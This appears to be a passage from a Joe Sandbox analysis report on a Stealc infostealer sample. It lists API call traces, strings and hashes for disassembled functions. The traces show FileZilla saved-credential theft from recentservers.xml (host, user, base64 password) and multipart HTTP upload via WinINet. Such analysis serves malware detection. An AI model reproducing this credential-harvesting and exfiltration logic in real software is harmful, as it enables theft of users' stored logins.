GetProcAddress.KERNEL32(751E0000,00F6AB78), ref: 0064A13B
GetProcAddress.KERNEL32(73940000,00F657D0), ref: 0064A160
GetProcAddress.KERNEL32(73940000,00F6AF78), ref: 0064A179
GetProcAddress.KERNEL32(73940000,00F656B8), ref: 0064A191
GetProcAddress.KERNEL32(73940000,00F6FCA8), ref: 0064A1A9
GetProcAddress.KERNEL32(73940000,00F6F9D8), ref: 0064A1C2
GetProcAddress.KERNEL32(73940000,00F6AD38), ref: 0064A1DA
GetProcAddress.KERNEL32(73940000,00F6AF18), ref: 0064A1F2
GetProcAddress.KERNEL32(73940000,00F6F9F0), ref: 0064A20B
GetProcAddress.KERNEL32(753A0000,00F6AC98), ref: 0064A22C
GetProcAddress.KERNEL32(753A0000,00F6AF58), ref: 0064A244
GetProcAddress.KERNEL32(753A0000,00F6FC30), ref: 0064A25D
GetProcAddress.KERNEL32(753A0000,00F6FC48), ref: 0064A275
GetProcAddress.KERNEL32(753A0000,00F6AE98), ref: 0064A28D
GetProcAddress.KERNEL32(76310000,00F656E0), ref: 0064A2B3
GetProcAddress.KERNEL32(76310000,00F65708), ref: 0064A2CB
GetProcAddress.KERNEL32(76310000,00F6FA08), ref: 0064A2E3
GetProcAddress.KERNEL32(76310000,00F6AF98), ref: 0064A2FC
GetProcAddress.KERNEL32(76310000,00F6ACF8), ref: 0064A314
GetProcAddress.KERNEL32(76310000,00F654D8), ref: 0064A32C
GetProcAddress.KERNEL32(76910000,00F6FA80), ref: 0064A352
GetProcAddress.KERNEL32(76910000,00F6AFB8), ref: 0064A36A
GetProcAddress.KERNEL32(76910000,00F6D7A8), ref: 0064A382
GetProcAddress.KERNEL32(76910000,00F6FA98), ref: 0064A39B
GetProcAddress.KERNEL32(76910000,00F6FAB0), ref: 0064A3B3
GetProcAddress.KERNEL32(76910000,00F6ADF8), ref: 0064A3CB
GetProcAddress.KERNEL32(76910000,00F6ADD8), ref: 0064A3E4
GetProcAddress.KERNEL32(76910000,00F6FAC8), ref: 0064A3FC
GetProcAddress.KERNEL32(76910000,00F6FAE0), ref: 0064A414
GetProcAddress.KERNEL32(75B30000,00F6AD18), ref: 0064A436
GetProcAddress.KERNEL32(75B30000,00F6FD38), ref: 0064A44E
GetProcAddress.KERNEL32(75B30000,00F6FCF0), ref: 0064A466
GetProcAddress.KERNEL32(75B30000,00F6FD08), ref: 0064A47F
GetProcAddress.KERNEL32(75B30000,00F6FD20), ref: 0064A497
GetProcAddress.KERNEL32(75670000,00F6ACB8), ref: 0064A4B8
GetProcAddress.KERNEL32(75670000,00F6AEF8), ref: 0064A4D1
GetProcAddress.KERNEL32(76AC0000,00F6AD98), ref: 0064A4F2
GetProcAddress.KERNEL32(76AC0000,00F6FD50), ref: 0064A50A
GetProcAddress.KERNEL32(6F4E0000,00F6ACD8), ref: 0064A530
GetProcAddress.KERNEL32(6F4E0000,00F6AD58), ref: 0064A548
GetProcAddress.KERNEL32(6F4E0000,00F6AED8), ref: 0064A560
GetProcAddress.KERNEL32(6F4E0000,00F6FD68), ref: 0064A579
GetProcAddress.KERNEL32(6F4E0000,00F6AFD8), ref: 0064A591
GetProcAddress.KERNEL32(6F4E0000,00F6AC58), ref: 0064A5A9
GetProcAddress.KERNEL32(6F4E0000,00F6AC38), ref: 0064A5C2
GetProcAddress.KERNEL32(6F4E0000,00F6AE58), ref: 0064A5DA
GetProcAddress.KERNEL32(6F4E0000,InternetSetOptionA), ref: 0064A5F1
GetProcAddress.KERNEL32(6F4E0000,HttpQueryInfoA), ref: 0064A607
GetProcAddress.KERNEL32(75AE0000,00F6FD80), ref: 0064A629
GetProcAddress.KERNEL32(75AE0000,00F6D628), ref: 0064A641
GetProcAddress.KERNEL32(75AE0000,00F6FD98), ref: 0064A659
GetProcAddress.KERNEL32(75AE0000,00F6FCD8), ref: 0064A672
GetProcAddress.KERNEL32(76300000,00F6AC78), ref: 0064A693
GetProcAddress.KERNEL32(6FB60000,00F70158), ref: 0064A6B4
GetProcAddress.KERNEL32(6FB60000,00F6AD78), ref: 0064A6CD
GetProcAddress.KERNEL32(6FB60000,00F70290), ref: 0064A6E5
GetProcAddress.KERNEL32(6FB60000,00F703B0), ref: 0064A6FD

Strings

P2#v, xrefs: 00649E1A
1#v, xrefs: 00649F0D
InternetSetOptionA, xrefs: 0064A5E5
HttpQueryInfoA, xrefs: 0064A5FC

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA$P2#v$1#v
API String ID: 2238633743-3014924196
Opcode ID: a78891b89af925621977f9d8b2c64f23764dba4c888e7f038d2c6f9df3b3fdba
Instruction ID: e59b461554ecd30f97e51b8b3e09ec6393ed09eac91b197392a2ba03ca37d531
Opcode Fuzzy Hash: a78891b89af925621977f9d8b2c64f23764dba4c888e7f038d2c6f9df3b3fdba
Instruction Fuzzy Hash: 666228B5514200AFC34CDFA8ED8D96A3BF9F7C8641714852AA65D8327CD63AD8C1DB23

Function 00637710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,006461C4,?), ref: 00637724
RtlAllocateHeap.NTDLL(00000000,?,006461C4,?), ref: 0063772B
lstrcatA.KERNEL32(?,00F6D060,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8), ref: 006378DB
lstrcatA.KERNEL32(?,?,?,006461C4,?), ref: 006378EF
lstrcatA.KERNEL32(?,?,?,006461C4,?), ref: 00637903
lstrcatA.KERNEL32(?,?,?,006461C4,?), ref: 00637917
lstrcatA.KERNEL32(?,00F6FF30,?,006461C4,?), ref: 0063792B
lstrcatA.KERNEL32(?,00F70080,?,006461C4,?), ref: 0063793F
lstrcatA.KERNEL32(?,00F6FFA8,?,006461C4,?), ref: 00637952
lstrcatA.KERNEL32(?,00F6FF90,?,006461C4,?), ref: 00637966
lstrcatA.KERNEL32(?,00F6D0E8,?,006461C4,?), ref: 0063797A
lstrcatA.KERNEL32(?,?,?,006461C4,?), ref: 0063798E
lstrcatA.KERNEL32(?,?,?,006461C4,?), ref: 006379A2
lstrcatA.KERNEL32(?,?,?,006461C4,?), ref: 006379B6
lstrcatA.KERNEL32(?,00F6FF30,?,006461C4,?), ref: 006379C9
lstrcatA.KERNEL32(?,00F70080,?,006461C4,?), ref: 006379DD
lstrcatA.KERNEL32(?,00F6FFA8,?,006461C4,?), ref: 006379F1
lstrcatA.KERNEL32(?,00F6FF90,?,006461C4,?), ref: 00637A04
lstrcatA.KERNEL32(?,00F711C0,?,006461C4,?), ref: 00637A18
lstrcatA.KERNEL32(?,?,?,006461C4,?), ref: 00637A2C
lstrcatA.KERNEL32(?,?,?,006461C4,?), ref: 00637A40
lstrcatA.KERNEL32(?,?,?,006461C4,?), ref: 00637A54
lstrcatA.KERNEL32(?,00F6FF30,?,006461C4,?), ref: 00637A68
lstrcatA.KERNEL32(?,00F70080,?,006461C4,?), ref: 00637A7B
lstrcatA.KERNEL32(?,00F6FFA8,?,006461C4,?), ref: 00637A8F
lstrcatA.KERNEL32(?,00F6FF90,?,006461C4,?), ref: 00637AA3
lstrcatA.KERNEL32(?,00F71228,?,006461C4,?), ref: 00637AB6
lstrcatA.KERNEL32(?,?,?,006461C4,?), ref: 00637ACA
lstrcatA.KERNEL32(?,?,?,006461C4,?), ref: 00637ADE
lstrcatA.KERNEL32(?,?,?,006461C4,?), ref: 00637AF2
lstrcatA.KERNEL32(?,00F6FF30,?,006461C4,?), ref: 00637B06
lstrcatA.KERNEL32(?,00F70080,?,006461C4,?), ref: 00637B1A
lstrcatA.KERNEL32(?,00F6FFA8,?,006461C4,?), ref: 00637B2D
lstrcatA.KERNEL32(?,00F6FF90,?,006461C4,?), ref: 00637B41
lstrcatA.KERNEL32(?,00F71290,?,006461C4,?), ref: 00637B55
lstrcatA.KERNEL32(?,?,?,006461C4,?), ref: 00637B69
lstrcatA.KERNEL32(?,?,?,006461C4,?), ref: 00637B7D
lstrcatA.KERNEL32(?,?,?,006461C4,?), ref: 00637B91
lstrcatA.KERNEL32(?,00F6FF30,?,006461C4,?), ref: 00637BA4
lstrcatA.KERNEL32(?,00F70080,?,006461C4,?), ref: 00637BB8
lstrcatA.KERNEL32(?,00F6FFA8,?,006461C4,?), ref: 00637BCC
lstrcatA.KERNEL32(?,00F6FF90,?,006461C4,?), ref: 00637BDF
lstrcatA.KERNEL32(?,00F712F8,?,006461C4,?), ref: 00637BF3
lstrcatA.KERNEL32(?,?,?,006461C4,?), ref: 00637C07
lstrcatA.KERNEL32(?,?,?,006461C4,?), ref: 00637C1B
lstrcatA.KERNEL32(?,?,?,006461C4,?), ref: 00637C2F
lstrcatA.KERNEL32(?,00F6FF30,?,006461C4,?), ref: 00637C43
lstrcatA.KERNEL32(?,00F70080,?,006461C4,?), ref: 00637C56
lstrcatA.KERNEL32(?,00F6FFA8,?,006461C4,?), ref: 00637C6A
lstrcatA.KERNEL32(?,00F6FF90,?,006461C4,?), ref: 00637C7E

Part of subcall function 006375D0: lstrcatA.KERNEL32(33435020,006517FC,00637C90,80000001,006461C4,?,?,?,?,?,00637C90,?,?,006461C4), ref: 00637606
Part of subcall function 006375D0: lstrcatA.KERNEL32(33435020,00000000,00000000), ref: 00637648
Part of subcall function 006375D0: lstrcatA.KERNEL32(33435020, : ), ref: 0063765A
Part of subcall function 006375D0: lstrcatA.KERNEL32(33435020,00000000,00000000,00000000), ref: 0063768F
Part of subcall function 006375D0: lstrcatA.KERNEL32(33435020,00651804), ref: 006376A0
Part of subcall function 006375D0: lstrcatA.KERNEL32(33435020,00000000,00000000,00000000), ref: 006376D3
Part of subcall function 006375D0: lstrcatA.KERNEL32(33435020,00651808), ref: 006376ED
Part of subcall function 006375D0: task.LIBCPMTD ref: 006376FB

lstrcatA.KERNEL32(?,00F6D908,?,00000104), ref: 00637E0B
lstrcatA.KERNEL32(?,00F70B88), ref: 00637E1E
lstrlenA.KERNEL32(33435020), ref: 00637E2B
lstrlenA.KERNEL32(33435020), ref: 00637E3B

Part of subcall function 0064A740: lstrcpy.KERNEL32(e,00000000), ref: 0064A788

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 8065829aedaeb98ef6c1db8712cc51c87d046f74188ee2b28cb44c849c0a543e
Instruction ID: bfb81999e37984189367bc131ebd5599bb2985d51f2b1cc30474b5ea7a4542b3
Opcode Fuzzy Hash: 8065829aedaeb98ef6c1db8712cc51c87d046f74188ee2b28cb44c849c0a543e
Instruction Fuzzy Hash: 03321FB2D00318ABC759EBA0DC89DEE737DBB44700F444A98F21D62194EE74E7858F56

Function 00640250 Relevance: 77.4, APIs: 32, Strings: 12, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(e,00000000), ref: 0064A788

Part of subcall function 00648DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00648E0B

Part of subcall function 0064A920: lstrcpy.KERNEL32(00000000,?), ref: 0064A972
Part of subcall function 0064A920: lstrcatA.KERNEL32(00000000), ref: 0064A982

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,e), ref: 0064A905

Part of subcall function 0064A9B0: lstrlenA.KERNEL32(?,00651110,?,00000000,00650AEF), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0064A7E6

Part of subcall function 006399C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006399EC
Part of subcall function 006399C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00639A11
Part of subcall function 006399C0: LocalAlloc.KERNEL32(00000040,?), ref: 00639A31
Part of subcall function 006399C0: ReadFile.KERNEL32(000000FF,?,00000000,006402E7,00000000), ref: 00639A5A
Part of subcall function 006399C0: LocalFree.KERNEL32(006402E7), ref: 00639A90
Part of subcall function 006399C0: CloseHandle.KERNEL32(000000FF), ref: 00639A9A

Part of subcall function 00648E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00648E52

strtok_s.MSVCRT ref: 0064031B
GetProcessHeap.KERNEL32(00000000,000F423F,00650DBA,00650DB7,00650DB6,00650DB3), ref: 00640362
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00650DB2), ref: 00640369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00640385
lstrlenA.KERNEL32(00000000), ref: 00640393

Part of subcall function 006488E0: malloc.MSVCRT ref: 006488E8
Part of subcall function 006488E0: strncpy.MSVCRT ref: 00648903

StrStrA.SHLWAPI(00000000,<Port>), ref: 006403CF
lstrlenA.KERNEL32(00000000), ref: 006403DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00640419
lstrlenA.KERNEL32(00000000), ref: 00640427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00640463
lstrlenA.KERNEL32(00000000), ref: 00640475
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00650DB2), ref: 00640502
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0064051A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 00640532
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0064054A
lstrcatA.KERNEL32(?,browser: FileZilla,?,?,00000000), ref: 00640562
lstrcatA.KERNEL32(?,profile: null,?,?,00000000), ref: 00640571
lstrcatA.KERNEL32(?,url: ,?,?,00000000), ref: 00640580
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00640593
lstrcatA.KERNEL32(?,00651678,?,?,00000000), ref: 006405A2
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 006405B5
lstrcatA.KERNEL32(?,0065167C,?,?,00000000), ref: 006405C4
lstrcatA.KERNEL32(?,login: ,?,?,00000000), ref: 006405D3
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 006405E6
lstrcatA.KERNEL32(?,00651688,?,?,00000000), ref: 006405F5
lstrcatA.KERNEL32(?,password: ,?,?,00000000), ref: 00640604
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00640617
lstrcatA.KERNEL32(?,00651698,?,?,00000000), ref: 00640626
lstrcatA.KERNEL32(?,0065169C,?,?,00000000), ref: 00640635
strtok_s.MSVCRT ref: 00640679
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00650DB2), ref: 0064068E
memset.MSVCRT ref: 006406DD

Strings

Nd, xrefs: 0064072E, 006406AF, 006406B2
<Port>, xrefs: 006403C6
<Host>, xrefs: 0064037C
<Pass encoding="base64">, xrefs: 0064045A
password: , xrefs: 006405FB
Nd, xrefs: 006402CC, 006402F2, 006402CF, 006402F5
login: , xrefs: 006405CA
url: , xrefs: 00640577
browser: FileZilla, xrefs: 00640559
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 006402A4
profile: null, xrefs: 00640568
<User>, xrefs: 00640410

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$CloseCreateFolderFreeHandlePathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$Nd$Nd$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 337689325-1046760088
Opcode ID: d60097a3749f9d717b18585bc28a698dc262d768b0404f9905ccccd5928e1a73
Instruction ID: 2a772cb08be77917eebb5fc8cef3657b47d08ec1ebab36d37ad71e08ba3ec17e
Opcode Fuzzy Hash: d60097a3749f9d717b18585bc28a698dc262d768b0404f9905ccccd5928e1a73
Instruction Fuzzy Hash: FBD15D71940108AFEB48EBF0DD9AEEE733AFF54301F44451CF506A6095DE34AA4ACB66

Function 00635100 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0064A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0064A7E6

Part of subcall function 006347B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 006347EA
Part of subcall function 006347B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00634801
Part of subcall function 006347B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00634818
Part of subcall function 006347B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00634839
Part of subcall function 006347B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00634849

lstrlenA.KERNEL32(00000000), ref: 00635193

Part of subcall function 00648EA0: CryptBinaryToStringA.CRYPT32(00000000,00635184,40000001,00000000,00000000,?,00635184), ref: 00648EC0

Part of subcall function 0064A740: lstrcpy.KERNEL32(e,00000000), ref: 0064A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00635207
StrCmpCA.SHLWAPI(?,00F6D938), ref: 00635225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00635340
HttpOpenRequestA.WININET(00000000,00F6D948,?,00F6FDF8,00000000,00000000,00400100,00000000), ref: 006353A4

Part of subcall function 0064A9B0: lstrlenA.KERNEL32(?,00651110,?,00000000,00650AEF), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,e), ref: 0064A905

Part of subcall function 0064A920: lstrcpy.KERNEL32(00000000,?), ref: 0064A972
Part of subcall function 0064A920: lstrcatA.KERNEL32(00000000), ref: 0064A982

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,00F71540,00000000,?,00F64700,00000000,?,006519DC,00000000,?,006451CF), ref: 00635737
lstrlenA.KERNEL32(00000000), ref: 0063574B
GetProcessHeap.KERNEL32(00000000,?), ref: 0063575C
HeapAlloc.KERNEL32(00000000), ref: 00635763
lstrlenA.KERNEL32(00000000), ref: 00635778
memcpy.MSVCRT(?,00000000,00000000), ref: 0063578F
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 006357A9
memcpy.MSVCRT(?), ref: 006357B6
lstrlenA.KERNEL32(00000000), ref: 006357C8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 006357E1
memcpy.MSVCRT(?), ref: 006357F1
lstrlenA.KERNEL32(00000000,?,?), ref: 0063580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00635822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0063584D
InternetCloseHandle.WININET(00000000), ref: 006358B1
InternetCloseHandle.WININET(00000000), ref: 006358BE
InternetCloseHandle.WININET(00000000), ref: 006358C8

Strings

", xrefs: 006355C4
--, xrefs: 00635280
------, xrefs: 006353B7
", xrefs: 00635706
------, xrefs: 0063563B
", xrefs: 00635482
------, xrefs: 00635297
------, xrefs: 006354F9

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandlememcpy$HeapHttpOpenRequestlstrcat$AllocBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 2744873387-2774362122
Opcode ID: 9cf62e017c5f414d2107bf8b8afe87402bd16b119603e067c58f913603951622
Instruction ID: bb30fbf45c13da0b17d45969242766116c8fa8e8311482681fa73eb4ea4d0ef1
Opcode Fuzzy Hash: 9cf62e017c5f414d2107bf8b8afe87402bd16b119603e067c58f913603951622
Instruction Fuzzy Hash: B632FD71960118BEEB58EBA0DC95FEEB37AFF54700F40415DB10662092EF706A49CF6A

Function 00635960 Relevance: 42.5, APIs: 19, Strings: 5, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

